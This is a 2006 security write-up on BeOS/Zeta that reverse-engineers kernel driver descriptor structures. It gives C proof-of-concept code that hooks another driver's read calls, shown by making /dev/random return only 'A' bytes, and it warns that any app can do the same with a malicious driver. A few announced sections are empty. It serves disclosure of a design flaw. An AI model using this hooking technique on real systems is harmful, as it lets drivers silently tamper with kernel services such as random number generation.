02/2006 by Zadig.
Tools needed:
Introduction:
Drivers: Programmers often trust drivers because they are part of the kernel,
and thus are supposed to be well tested. Unfortunatelly you can not be sure
that the data you receive/send to a driver is effectively handled by it. In
this text you will see how a driver can hook the calls of another one. These
tests where done on Zeta 1.1 but should also apply to BeOS R5.
I will not explain how drivers are implemented in BeOS. If you are not familliar
with it you should read the bebook that explains this well.
I- Drivers managment structures.
Let's start by finding the list of drivers that have been loaded by the kernel. The kernel debugger does this when you use the "dump_dev_drvr_all" command. After that you can use the "dump_dev_drvr addr" command to print the descriptor of a specific driver. You can enter to the kernel debugger at any time by typing "ctrl+alt+esc" and leave the debugger by typing "c" (continue). So let's see how he is doing this. The debugger add-on that does this is located at "/boot/beos/system/add-ons/kernel/debugger/internals". Just disassemble it and look at the "dump_dev_drvr_all" function. We see that the entry point of the list is a field of the object "gns", and more precisely the offset 0x30 of it. Thus the entry point is a structure like this:
typedef struct
{
uint8 foo[0x30];
struct _TS_DRVTST_drv_desc *driver_list;
} TS_DRVTST_sys_desc_list;
After this the driver steps through a list of drivers descriptors. By looking at
the sources of the internal add-on and the kdl output we can see that a driver
descriptor structure looks like this:
typedef struct _TS_DRVTST_drv_desc
{
char *path;
char *name;
uint8 foo1[0x10];
struct _TS_DRVTST_drv_desc *next;
TS_DRVTST_node *vnode_list;
uint32 rcnt;
uint8 foo3[0x18];
status_t (*init_hardware)(void);
const char** (*publish_devices)(void);
device_hooks* (*find_device)(const char *name);
status_t (*init_driver)(void);
void (*uninit_driver)(void);
void (*wake_driver)(void);
void (*suspend_driver)(void);
} TS_DRVTST_drv_desc;
The fields are:
extern TS_DRVTST_sys_desc_list *gns;
TS_DRVTST_drv_desc *DRVTST_FindDrv(char *sz_Name)
{
TS_DRVTST_drv_desc *ps_DrvList = gns->driver_list;
while(ps_DrvList != NULL)
{
if(strcmp(sz_Name, ps_DrvList->name) == 0)
return(ps_DrvList);
ps_DrvList = ps_DrvList->next;
}
return(NULL);
}
Now that we have a driver descriptor, let's find the descriptors of the nodes that he publishes. Once again there is a kdl command to do this: "dump_dev_vnode addr" This command is also exported by the "internal" add-on. Here again by looking at the kdl output and the add-on code we can find the fileds of a vnode descriptor:
typedef struct _TS_DRVTST_node
{
uint32 vnid;
uint8 foo1[4];
uint32 parent;
uint32 ns;
char *name;
uint32 crtime;
uint32 mtime;
uint32 uid;
uint32 gid;
uint8 foo2[8];
char *path;
uint8 foo3[8];
struct _TS_DRVTST_drv_desc *drvr;
device_open_hook open_hook;
device_close_hook close_hook;
device_free_hook free_hook;
device_control_hook control_hook;
device_read_hook read_hook;
device_write_hook write_hook;
device_select_hook select_hook;
device_deselect_hook deselect_hook;
device_readv_hook readv_hook;
device_writev_hook writev_hook;
uint8 foo4[0x1C];
struct _TS_DRVTST_node *prev;
struct _TS_DRVTST_node *next;
} TS_DRVTST_node;
The fields names a self explainatory. So once again, to find a specific node we
just need a simple loop:
TS_DRVTST_node* DRVTST_FindNodeInDrv(TS_DRVTST_drv_desc *ps_Desc, char *sz_Name)
{
TS_DRVTST_node *ps_Node = ps_Desc->vnode_list;
while(ps_Node != NULL)
{
if(strcmp(sz_Name, ps_Node->name) == 0)
break;
ps_Node = ps_Node->next;
}
return(ps_Node);
}
Now we have all elements needed to hook a driver call. Here is how the kernel loads a driver:
Let's apply the previous algo to hook calls to "/dev/random" reads. To do this we first need a driver with and ioctl that will start hooking this device. The function that setup the hooks is:
#define HOOK_DRV "random"
status_t DRVTST_RndHook(void)
{
TS_DRVTST_drv_desc *ps_Drv;
TS_DRVTST_node *ps_Node;
cpu_status i_Status;
ps_Drv = DRVTST_FindDrv(HOOK_DRV);
if(ps_Drv != NULL)
{
ps_Node = DRVTST_FindNodeInDrv(ps_Drv, HOOK_DRV);
if( (ps_Node != NULL) && (gf_ReadHook == NULL) )
{
i_Status = disable_interrupts();
gf_ReadHook = ps_Node->read_hook;
ps_Node->read_hook = DRVTST_RndRead;
restore_interrupts(i_Status);
}
}
return(B_OK);
}
we will replace the read calls with this function that returns only "A" bytes:
status_t DRVTST_RndRead(void *cookie, off_t position, void *data, size_t *numBytes)
{
memset(data, 'A', *numBytes);
return(B_OK);
}
finally the userland app that will start the hook looks like this:
int main (int argc, char *argv[])
{
int fd, fd2;
fd2 = open("/dev/random", O_RDONLY);
if(fd2 < 0)
{
printf("error while opening random\n");
return(-1);
}
fd = open("/dev/misc/drvtest", O_RDONLY);
if(fd < 0)
{
printf("error while opening device\n");
return(-1);
}
if(ioctl(fd, DRV_IOCTL_HOOK_RND, NULL) < 0)
printf("ioctl error");
printf("hooked random\n");
getchar();
if(ioctl(fd, DRV_IOCTL_RSTR_RND, NULL) < 0)
printf("ioctl error");
printf("restored random\n");
close(fd);
close(fd2);
return(0);
}
It opens the random device to be sure that the kernel has loaded it descriptors,
then it opens the test driver that will do the hook, and calls the ioctl that
starts the hook. The test app then waits until you type a key to restore the
orginal read call. So just start the userland app and try to read random datas:
[1751][src]$ head -c 10 /dev/random AAAAAAAAAA [1757][src]$The hook worked, we read only "A" from this device.
As you can see it is very easy for a driver to hook the calls of another driver.
Since in BeOS anyone can add drivers to the system, it means that any app can
hook a driver call by just adding a malicious driver in
"/boot/home/config/add-ons/kernel/drivers/bin/". Things may change with the next
release of Zeta that should bring user managment and thus maybe deny non
priviledged users to add drivers to the system.
Zadig.